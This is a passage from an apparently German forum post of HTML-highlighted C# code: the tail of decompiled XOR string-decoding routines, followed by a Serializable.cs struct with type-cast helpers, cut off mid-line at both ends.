<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num6&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num6&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">stringBuffer</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">((</span><span style="color: #0000BB">char</span><span style="color: #007700">)(</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">^&nbsp;(int)</span><span style="color: #0000BB">text</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num5</span><span style="color: #007700">&#93;&nbsp;^&nbsp;(int)</span><span style="color: #0000BB">text2</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num6</span><span style="color: #007700">&#93;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num5</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num6</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">stringBuffer</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;a</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;str1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">string&nbsp;str2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str1</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str2</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">str1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">str2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">num4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;stringBuffer&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">(</span><span style="color: #0000BB">num4</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">num4</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;arg_60_0&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">stringBuffer</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_37&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_3A&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;arg_5C_0&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str1</span><span style="color: #007700">&#91;(</span><span style="color: #0000BB">expr_3A&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_37&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_3A</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_4A&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_4D&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">arg_60_0</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">((</span><span style="color: #0000BB">char</span><span style="color: #007700">)((int)(</span><span style="color: #0000BB">arg_5C_0&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">str2</span><span style="color: #007700">&#91;(</span><span style="color: #0000BB">expr_4D&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_4A&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_4D</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;&nbsp;^&nbsp;</span><span style="color: #0000BB">num3</span><span style="color: #007700">)));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">stringBuffer</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Serializable.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Dein_Tolles_Projekt<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Serializable</span><span style="color: #007700">()&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">struct&nbsp;Serializable<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;interface&nbsp;</span><span style="color: #0000BB">__Interface<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">object&nbsp;__obj</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;IsInstance</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">obj&nbsp;is&nbsp;string&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">obj&nbsp;is&nbsp;Exception&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">obj&nbsp;is&nbsp;</span><span style="color: #007700">Array&nbsp;||&nbsp;</span><span style="color: #0000BB">obj&nbsp;is&nbsp;Serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__Interface</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;IsInstanceArray</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;rank</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">obj&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Type&nbsp;type&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">.</span><span style="color: #0000BB">GetType</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">rank</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">type</span><span style="color: #007700">.</span><span style="color: #0000BB">IsArray</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">type&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">type</span><span style="color: #007700">.</span><span style="color: #0000BB">GetElementType</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(string).</span><span style="color: #0000BB">IsAssignableFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">type</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Exception</span><span style="color: #007700">).</span><span style="color: #0000BB">IsAssignableFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">type</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(Array).</span><span style="color: #0000BB">IsAssignableFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">type</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__Interface</span><span style="color: #007700">).</span><span style="color: #0000BB">IsAssignableFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">type</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">/*||&nbsp;GhostTag.IsGhostArrayInstance(obj,&nbsp;typeof(Serializable).TypeHandle,&nbsp;rank)*/</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;Cast</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!(</span><span style="color: #0000BB">obj&nbsp;is&nbsp;string</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;!(</span><span style="color: #0000BB">obj&nbsp;is&nbsp;Exception</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;!(</span><span style="color: #0000BB">obj&nbsp;is&nbsp;</span><span style="color: #007700">Array))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__Interface&nbsp;arg_1E_0&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__Interface</span><span style="color: #007700">)</span><span style="color: #0000BB">obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;CastArray</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;rank</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">obj&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;!</span><span style="color: #0000BB">Serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">IsInstanceArray</span><span style="color: #007700">(</span><span style="color: #0000BB">obj</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rank</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//GhostTag.ThrowClassCastException(obj,&nbsp;typeof(Serializable).TypeHandle,&nbsp;rank);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">implicit&nbsp;operator&nbsp;Serializable</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;_obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">implicit&nbsp;operator&nbsp;Serializable</span><span style="color: #007700">(</span><span style="color: #0000BB">Exception&nbsp;_obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">implicit&nbsp;operator&nbsp;Serializable</span><span style="color: #007700">(Array&nbsp;</span><span style="color: #0000BB">_obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result</span><span style="color: 